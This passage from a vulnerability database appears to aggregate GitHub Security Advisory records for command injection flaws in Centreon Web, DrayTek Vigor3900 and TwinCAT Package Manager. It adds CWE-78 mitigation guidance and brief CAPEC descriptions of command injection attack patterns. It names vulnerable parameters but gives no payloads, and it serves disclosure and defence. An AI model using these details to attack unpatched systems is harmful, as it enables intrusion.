"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Nuclei allows unsigned code template execution through workflows"
}
GHSA-W648-9W29-R2JG
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:10minPlayCommand.php in Centreon Web before 2.8.27 allows authenticated attackers to execute arbitrary code via the command_hostaddress parameter. NOTE: some sources have listed CVE-2019-17017 for this, but that is incorrect.
{
"affected": [],
"aliases": [
"CVE-2019-17107"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-08T13:15:00Z",
"severity": "HIGH"
},
"details": "minPlayCommand.php in Centreon Web before 2.8.27 allows authenticated attackers to execute arbitrary code via the command_hostaddress parameter. NOTE: some sources have listed CVE-2019-17017 for this, but that is incorrect.",
"id": "GHSA-w648-9w29-r2jg",
"modified": "2024-04-04T02:10:05Z",
"published": "2022-05-24T16:58:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17107"
},
{
"type": "WEB",
"url": "https://github.com/centreon/centreon/pull/7099"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2019/10/08/1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/10/09/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W66F-4C3W-WM2W
Vulnerability from github – Published: 2024-09-06 21:32 – Updated: 2024-09-10 18:30DrayTek Vigor3900 v1.5.1.6 was discovered to contain an authenticated command injection vulnerability via the name parameter in the run_command function.
{
"affected": [],
"aliases": [
"CVE-2024-44844"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-06T21:15:12Z",
"severity": "HIGH"
},
"details": "DrayTek Vigor3900 v1.5.1.6 was discovered to contain an authenticated command injection vulnerability via the name parameter in the run_command function.",
"id": "GHSA-w66f-4c3w-wm2w",
"modified": "2024-09-10T18:30:42Z",
"published": "2024-09-06T21:32:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44844"
},
{
"type": "WEB",
"url": "https://github.com/3okfc/IOT-VUL-WP/blob/main/DaryTek/vigor3900_1.md"
},
{
"type": "WEB",
"url": "https://github.com/glkfc/IoT-Vulnerability/blob/main/DaryTek/vigor3900_1.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W672-PP4P-44P3
Vulnerability from github – Published: 2024-10-31 15:30 – Updated: 2024-10-31 15:30A local user with administrative access rights can enter specialy crafted values for settings at the user interface (UI) of the TwinCAT Package Manager which then causes arbitrary OS commands to be executed.
{
"affected": [],
"aliases": [
"CVE-2024-8934"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-31T13:15:15Z",
"severity": "MODERATE"
},
"details": "A local user with administrative access rights can enter specialy crafted values for settings at the user interface (UI) of the TwinCAT Package Manager which then causes arbitrary OS commands to be executed.",
"id": "GHSA-w672-pp4p-44p3",
"modified": "2024-10-31T15:30:59Z",
"published": "2024-10-31T15:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8934"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2024-064"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.